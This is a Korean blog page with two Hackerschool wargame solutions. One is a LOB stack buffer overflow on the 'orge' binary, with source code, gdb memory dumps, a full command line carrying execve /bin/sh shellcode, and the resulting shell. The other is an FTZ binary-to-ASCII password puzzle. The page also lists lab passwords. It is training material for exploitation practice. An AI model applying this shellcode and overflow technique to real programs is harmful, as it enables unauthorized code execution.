반응형
반응형
반응형


해커스쿨 LOB LEVEL7 [darkelf -> orge] 풀이


M4ndU




해커스쿨 LOB [darkelf -> orge] 풀이입니다.


ID | darkelf

PW | kernel crashed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: darkelf

Password:

[darkelf@localhost darkelf]$ bash2

[darkelf@localhost darkelf]$ ls -l

total 20

-rwsr-sr-x    1 orge     orge        12700 Mar  1  2010 orge

-rw-r--r--    1 root     root          800 Mar 29  2010 orge.c

[darkelf@localhost darkelf]$ cat orge.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - orge

        - check argv[0]

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // here is changed!

        if(strlen(argv[0]) != 77){

                printf("argv[0] error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);

}


이전 문제에서 바뀐 내용은 argv[0]의 길이가 77이어야 하는거네요.
argv[0]은 ./orge AA BB 에서 ./orge가 해당됩니다.
argv[0]의 길이가 77이 되도록 하려면 "./"를 제외하고 파일이름이 75바이트면 되겠네요.

파일이름을 바꿔줍시다.

[darkelf@localhost darkelf]$ rename orge `python -c 'print "A"*75'` orge
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge.c

그럼 이제 분석을 위해 파일을 복사해주고, argv[2]에 쉘코드를 넣고 위치를 확인해 봅시다.

argv[1] = 'print "D"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


[darkelf@localhost darkelf]$ mkdir tmp

[darkelf@localhost darkelf]$ cp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  tmp/

[darkelf@localhost darkelf]$ cd tmp/

[darkelf@localhost tmp]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xff\xff\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?

Segmentation fault (core dumped)

[darkelf@localhost tmp]$ gdb -c core -q

Core was generated by `./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA D'.

Program terminated with signal 11, Segmentation fault.

#0  0xbfffffff in ?? ()

(gdb) x/1000x $esp

0xbffff9d0:     0x00000000      0xbffffa14      0xbffffa24      0x40013868

0xbffff9e0:     0x00000003      0x08048450      0x00000000      0x08048471

(생략)

0xbffffb10:     0x00000000      0x00000000      0x00000000      0x38366900

0xbffffb20:     0x2f2e0036      0x41414141      0x41414141      0x41414141

0xbffffb30:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffb60:     0x41414141      0x41414141      0x41414141      0x00414141

0xbffffb70:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb80:     0x44444444      0x44444444      0x44444444      0x44444444

0xbffffb90:     0x44444444      0x44444444      0x44444444      0xbfffffff

0xbffffba0:     0x90909000      0x90909090      0x90909090      0x90909090

0xbffffbb0:     0x90909090      0x50c03190      0x732f2f68      0x622f6868

0xbffffbc0:     0xe3896e69      0xe1895350      0x0bb0c289      0x000080cd


argv[0], argv[1], argv[2] 를 모두 확인할 수 있네요.
쉘코드가 있는 0xbffffbb0를 리턴주소로 하겠습니다.

[darkelf@localhost darkelf]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xb0\xfb\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD곽?
bash$ my-pass
euid = 507
timewalker


성공입니다. 다음레벨로 GA즈AAAAAAAAAAAAAAAA


반응형
반응형


해커스쿨 FTZ [LEVEL7] 풀이


M4ndU




해커스쿨 FTZ [LEVEL7] 풀이입니다.


ID | level7

PW | come together


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level7

level7@192.168.31.128's password:

[level7@ftz level7]$ ls -l

total 12

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

[level7@ftz level7]$ cat hint



/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



음... 힌트를 봐도 잘 모르겠습니다..

일단 /bin/level7 명령을 실행해 봅시다.


[level7@ftz level7]$ level7

Insert The Password : hi

cat: /bin/wrong.txt: No such file or directory


/bin/에 있기 때문에 이동하지 않고 바로 level7을 입력해서 사용할 수 있습니다.
비밀번호를 입력하라고 해서 아무 문자나 넣어 보았습니다.
그랬더니 /bin/wrong.txt 가 없다고 뜹니다!

이 오류는 개인이 FTZ 서버를 열어서 하는경우 생기는 것이라고 하네요...
직접 root계정으로 접속하셔서 wrong.txt 를 만들어주어야 한다고 합니다.


정상적인 작동을 한다면 이런 문자가 출력된다고 합니다 :


--_--_- --____- ---_-__ --__-_-


여기서 다시 힌트를 봅시다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.


2진수를 10진수로 바꿀 수 있는가.

-를 1로, _를 0으로 본다면,


--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)


109, 97, 116, 101 무엇을 의미하는 것일까요?

잘 생각해보면 ASCII 범위(0~127)의 값인 것을 알 수 있습니다!


109 -> m

97 -> a

116 -> t

101 -> e


mate 라는 문자열이 나옵니다.

다시 level7 명령어를 사용해서 패스워드에 mate를 입력해보겠습니다.


[level7@ftz level7]$ level7

Insert The Password : mate


Congratulation! next password is "break the world".


성공입니다!! 가즈아아아아아아아아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07

+ Recent posts